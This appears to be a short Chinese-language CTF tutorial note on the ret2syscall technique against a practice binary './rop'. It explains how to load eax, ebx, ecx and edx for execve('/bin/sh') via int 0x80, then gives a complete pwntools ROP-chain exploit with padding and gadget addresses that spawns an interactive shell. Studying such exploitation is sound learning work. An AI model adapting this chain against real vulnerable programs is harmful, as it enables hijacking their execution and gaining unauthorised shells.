ret2syscall
,即控制程序执行系统调用,获取 shell
(很短的一句话,蕴含着大道理)
思考
1.程序只给我们/bin/sh
但是没给我们system
函数 构造不了sysytem(/bin/sh)
,仔细观察,发现了int 80
(自行百度)
2.只要我们把对应获取 shell
的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80
就可执行对应的系统调用。 例如:
execve("/bin/sh",NULL,NULL) #oxb是execve的系统调用号
3.32 位
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
EXP
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421 #ROPgadget --binary rop --only "int"
bin_sh_addr = 0x80be408
payload = 'A' * 112
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) ##构造execve里面的内容
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(int_0x80) # int 80调用的是eax的系统调用号
sh.sendline(payload)
sh.interactive()
注:int 80 不理解可以学习一下这篇文章:https://www.jianshu.com/p/5ea7016e60c8
网友评论